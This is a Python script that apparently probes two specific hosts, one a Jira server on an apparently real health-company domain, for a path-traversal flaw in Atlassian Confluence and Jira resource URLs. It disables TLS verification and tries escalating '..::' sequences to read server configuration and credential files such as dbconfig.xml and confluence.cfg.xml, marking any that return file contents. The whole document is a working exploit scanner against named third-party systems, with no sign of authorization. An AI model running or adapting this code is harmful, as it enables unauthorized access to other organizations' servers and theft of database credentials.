import http.client
import ssl

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, host, path, timeout=15):
    try:
        conn = http.client.HTTPSConnection(ip, 443, timeout=timeout, context=ctx())
        conn.request("GET", path, headers={"Host": host, "User-Agent": UA, "Accept": "*/*"})
        r = conn.getresponse()
        b = r.read(200000).decode("utf-8", "replace")
        conn.close()
        return r.status, b
    except Exception:
        return None, ""


CASES = [
    ("172.237.96.157", "172.237.96.157",
     "/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/",
     ["WEB-INF::web.xml", "conf::server.xml", "bin::setenv.sh",
      "var::atlassian::application-data::confluence::confluence.cfg.xml"], "linux-confluence"),
    ("104.43.75.218", "jira.fullertonhealth.com",
     "/download/resources/jira.webresources:color-picker-popup/images/",
     ["WEB-INF::web.xml", "conf::server.xml", "bin::setenv.bat",
      "Program Files::Atlassian::Application Data::JIRA::dbconfig.xml"], "win-jira"),
]

for ip, host, pre, targets, label in CASES:
    print("==", label, ip, flush=True)
    for tgt in targets:
        line = []
        for n in range(4, 13):
            st, b = get(ip, host, pre + ("..::" * n) + tgt)
            tag = "%s:%d" % (st, len(b))
            if st == 200 and len(b) > 20 and "<html" not in b[:300].lower():
                tag += "*"
            line.append("n%d=%s" % (n, tag))
        print("  %-70s %s" % (tgt, " ".join(line)), flush=True)
